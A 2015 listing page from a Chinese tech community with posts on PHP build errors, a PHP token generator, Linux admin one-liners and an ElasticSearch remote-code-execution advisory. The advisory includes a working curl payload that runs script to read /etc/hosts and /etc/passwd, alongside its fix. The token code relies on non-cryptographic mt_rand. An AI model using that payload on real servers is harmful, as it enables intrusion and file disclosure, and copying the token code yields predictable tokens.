启动apache报错 [warn] module php5_module is already loaded, skipping

运维 空心菜 回复了问题 1 人关注 1 个回复 7360 次浏览 2015-06-13 12:02 来自相关话题

Centos下php5.4 编译常见错误解决

编程 OpenSkill 发表了文章 0 个评论 3734 次浏览 2015-06-12 17:45 来自相关话题

configure: error: xml2-config not found. Please check your libxml2 installation. yum install libxml2-devel con ...查看全部
configure: error: xml2-config not found. Please check your libxml2 installation.
yum install libxml2-devel

configure: error: Cannot find OpenSSL’s
yum install openssl-devel

configure: error: Please reinstall the libcurl distribution -
easy.h should be in /include/curl/
yum install curl-devel

configure: error: libjpeg.(a|so) not found
yum install libjpeg-devel

configure: error: libpng.(a|so) not found.
yum install libpng-devel

configure: error: libXpm.(a|so) not found.
yum install libXpm-devel

configure: error: freetype.h not found.
yum install freetype-devel

configure: error: utf8_mime2text() has new signature, but U8T_CANONICAL is missing. This should not happen. Check config.log for additional information.
yum install libc-client-devel

configure: error: mcrypt.h not found. Please reinstall libmcrypt.
yum install libmcrypt-devel

configure: error: Please reinstall libmhash – I cannot find mhash.h
yum install mhash-devel

configure: error: Cannot find MySQL header files under /usr.
Note that the MySQL client library is not bundled anymore!
yum install mysql-devel

configure: error: Please reinstall ming distribution. libming.(a|so) not found
[list]
[*]temp remove the config for ‘–with-ming=/opt/ming/’[/*]
[/list]
configure: error: Cannot find pspell
yum install pspell-devel

configure: error: cannot find mm library
Download from http://www.ossp.org/pkg/lib/mm/
wget ftp://ftp.ossp.org/pkg/lib/mm/mm-1.4.2.tar.gz
Extract it: tar -zxvf mm-1.4.2.tar.gz
./configure
make
make install

configure: error: Cannot find libtidy
yum install libtidy-devel
yum install libtidy
change path at configure: ‘–with-tidy=/usr’

configure: error: not found. Please reinstall the expat distribution.
yum install expat-devel

configure: error: xslt-config not found. Please reinstall the libxslt >= 1.1.0 distribution
yum install libxslt-devel

PHP随机生成token

编程 OpenSkill 发表了文章 0 个评论 5852 次浏览 2015-06-12 16:33 来自相关话题

使用token的方式,可以控制用户在这个时间内的权限,代码如下: ...查看全部
使用token的方式,可以控制用户在这个时间内的权限,代码如下:

	function genToken( $len = 32, $md5 = true ) {
# Seed random number generator
# Only needed for PHP versions prior to 4.2
mt_srand( (double)microtime()*1000000 );
# Array of characters, adjust as desired
$chars = array(
'Q', '@', '8', 'y', '%', '^', '5', 'Z', '(', 'G', '_', 'O', '`',
'S', '-', 'N', '<', 'D', '{', '}', '[', ']', 'h', ';', 'W', '.',
'/', '|', ':', '1', 'E', 'L', '4', '&', '6', '7', '#', '9', 'a',
'A', 'b', 'B', '~', 'C', 'd', '>', 'e', '2', 'f', 'P', 'g', ')',
'?', 'H', 'i', 'X', 'U', 'J', 'k', 'r', 'l', '3', 't', 'M', 'n',
'=', 'o', '+', 'p', 'F', 'q', '!', 'K', 'R', 's', 'c', 'm', 'T',
'v', 'j', 'u', 'V', 'w', ',', 'x', 'I', '$', 'Y', 'z', '*'
);
# Array indice friendly number of chars;
$numChars = count($chars) - 1; $token = '';
# Create random token at the specified length
for ( $i=0; $i<$len; $i++ )
$token .= $chars[ mt_rand(0, $numChars) ];
# Should token be run through md5?
if ( $md5 ) {
# Number of 32 char chunks
$chunks = ceil( strlen($token) / 32 ); $md5token = '';
# Run each chunk through md5
for ( $i=1; $i<=$chunks; $i++ )
$md5token .= md5( substr($token, $i * 32 - 32, 32) );
# Trim the token
$token = substr($md5token, 0, $len);
} return $token;
}
//生成的32位随机数
echo genToken()
?>

Linux 命令集合

运维 小白菜 发表了文章 2 个评论 3559 次浏览 2015-06-10 19:30 来自相关话题

工作中收集了一些Linux shell命令 便于参考 mpstat用于报告多路CPU主机的每颗CPU活动情况,以及整个主机的CPU情况。下边的命令可以隔2秒报告一次处理器的活动情况,执行3次 [root@localhost ~]# mp ...查看全部
工作中收集了一些Linux shell命令 便于参考
mpstat用于报告多路CPU主机的每颗CPU活动情况,以及整个主机的CPU情况。
下边的命令可以隔2秒报告一次处理器的活动情况,执行3次
[root@localhost ~]# mpstat 2 3
如下命令每隔1秒显示一次多路CPU主机的处理器活动情况,执行3次

[root@localhost ~]# mpstat -P ALL 1 3
在当前目录下列出所有的扩展名
[root@localhost ~]# find . -type f | awk -F'.' '{print $NF}' | sort| uniq -c | sort -g
批量替换php中的关键字    
for I in `find . -name "*.php"`; do sed -i "s/old name/new name/g" $I; done
 
快速的将当前目录中所有的.php扩展名修改给.html   
[root@localhost ~]# for i in *.php; do mv $i ${i%.php}.html; done
用备份的superblock来挂载文件系统  
[root@localhost ~]# mount -o sb=98340 /dev/sda1 /mnt/data1/
 
删除B目录中与A目录同名的文件   
[root@localhost ~]# for file in A/*; do rm B/`basename $file`; done
找出10个大文件
[root@localhost ~]# du -sh * | sort -rh | head


 
寻找非html的文件 
[root@localhost ~]# find . -type f ! -name "*html"


用脚本获取eth0上的IPv4地址
[root@localhost ~]# ip addr show eth0 |grep 'inet\b' |awk '{print $2}' |sed -r -e 's/\/.*?//g'
 
以html的形式获取服务器的硬件配置报告 
[root@localhost ~]# lshw -html >hardware.html
统计服务器上已经建立的TCP的链接 
[root@localhost ~]# netstat -an | awk '$1 ~ /[Tt][Cc][Pp]/ && $NF ~ /ESTABLISHED/{i++}END{print "Connected:\t", i}'


限制传输速率
[root@localhost ~]# cat /dev/urandom | pv -L 3m | dd bs=1M count=100 iflag=fullblock > /dev/null
 
上一条命令的快捷方式   
[root@localhost ~]# alias foo="!!"


备份制定后缀的文件并且打包到根目录下  
[root@localhost opt]# tar --exclude=".??*" -zcvf ./home_backup_2008.tar.gz my_home
 
替换:将hh文件下的内容192替换成193   
[root@localhost opt]# for I in "hh"; do sed -i "s/192/193/g" $I; done
Linux 限制传输速率    
# cat /dev/urandom | pv -L 3m | dd bs=1M count=100 iflag=fullblock > /dev/null
 
格式化另一个日期  
date --date=yesterday +%Y%m%d
合并多个文件到一个文件中 
cat file1 . . . fileN > NEWFile
 
递归删除所有的htm  
[root@localhost opt]# find . -type f -name '*.htm' -delete
列出并删除一岁的文件  
[root@localhost zhiwen]# find <目录路径> -mtime +365 -and -not -type d -delete


 
查找日志中的所有问题   
[root@localhost opt]# grep -2 -iIr "err\|warn\|fail\|crit" /var/log/*
寻找最大的10个文件夹 
[root@localhost ~]# find . -type d -print0 | xargs -0 du -s | sort -n | tail -10 | cut -f2 | xargs -I{} du -sh {} | sort -rn
检查端口是否开放   
[root@localhost ~]#nmap -p 80 hostname
 
显示命令的输出值到file.txt文件中     
[root@localhost opt]# command | sed '/file.txt/q'
保存man页面为pdf文件    
[root@localhost opt]# man -t awk | ps2pdf - awk.pdf
 
列出所有zip压缩包里边的文件并解压    
[root@localhost opt]# find . -name "[i].tgz" -or -name "[/i].zip" | while read file; do echo "$file:"; unzip $file; done
显示所有目录内容   
[root@localhost opt]# while read f;do echo "$f";done < <(find .)
 
Linux 查找指定的某个目录  
[root:/usr/sbin Master] # find / -name 目录名 -type d
在/var/log/secure 里针对某个IP扫描了多少次
[root:~ Slave] # cat /var/log/secure |grep 192.168.83.40 | wc -l
对其中的secure获取其中的ip地址和数量:
[root:~ Slave] # grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/secure | sort | uniq -c

ElasticSearch远程任意代码执行漏洞

数据库 OpenSkill 发表了文章 0 个评论 5694 次浏览 2015-06-08 23:54 来自相关话题

一、原理这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。 ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的 ...查看全部

一、原理

这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。


ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。


而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。


其实官方是清楚这个漏洞的,在文档里有说明:


First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween.

二、检测方法

在线检测:
http://tool.scanv.com/es.html 可以检测任意地址


http://bouk.co/blog/elasticsearch-rce/poc.html 只检测localhost,不过会输出/etc/hosts和/etc/passwd文件的内容到网页上


自己手动检测:


curl -XPOST 'http://localhost:9200/_search?pretty' -d '{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {}
}
}
},
"script_fields": {
"/etc/hosts": {
"script": "import java.util.;\nimport java.io.;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();"
},
"/etc/passwd": {
"script": "import java.util.;\nimport java.io.;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();"
}
}
}'

三、处理方法

关掉执行脚本功能,在配置文件elasticsearch.yml里为每一个节点都加上:


script.disable_dynamic: true

官网:http://www.elastic.co/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts


官方会在1.2版本默认关闭动态脚本。
https://github.com/elasticsearch/elasticsearch/issues/5853

关于我们

运维 OpenSkill 发表了文章 0 个评论 5461 次浏览 2015-06-08 23:17 来自相关话题

OpenSkill中国技术极客IT技术问答、内容分享社区之一,为技术极客提供了乐点的一个写作、分享的平台,在这里你可以分享你的技术见解与疑问。 ...查看全部

OpenSkill中国技术极客IT技术问答、内容分享社区之一,为技术极客提供了乐点的一个写作、分享的平台,在这里你可以分享你的技术见解与疑问。

社区产品形态为问答和文章,问答专注于分享探讨技术问题,从而获取问题的解决方法。文章是一个基于内容分享的模块,主要为技术工作者提供一个知识共享、经验积累、资源分享的环境。

社区创建的出发点是基于社区发起人本身是做技术出身,平常工作经常会遇到一些技术问题和错误,但是经常需要借助Google、百度等搜索引擎去寻找答案,非常痛苦,寻找过程就算了,最可悲的是再次遇到相同的问题,又需要再一次的去搜索,所以基于这个痛点,OpenSkill开源技术社区就建立起来了!

如果你热爱写作和分享,这是一个自由的写作、技术分享的社区,让我们一起分享工作中遇到的问题一起探讨,分享解决问题的文章,共享你的技术资源!

The open skill sharing Geek ! 

关注我们:

合作联系QQ:986978241
微信号:crhins  添加请备注原由
QQ群:948510543  欢迎加入互相学习
微信公众号:后场技术    ID:opstalk
微博:http://weibo.com/openskill